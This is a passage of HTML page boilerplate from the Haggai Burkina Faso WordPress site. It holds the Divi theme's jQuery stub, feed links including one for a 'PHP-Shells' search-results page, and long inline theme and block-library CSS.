			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d502db6dae*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone 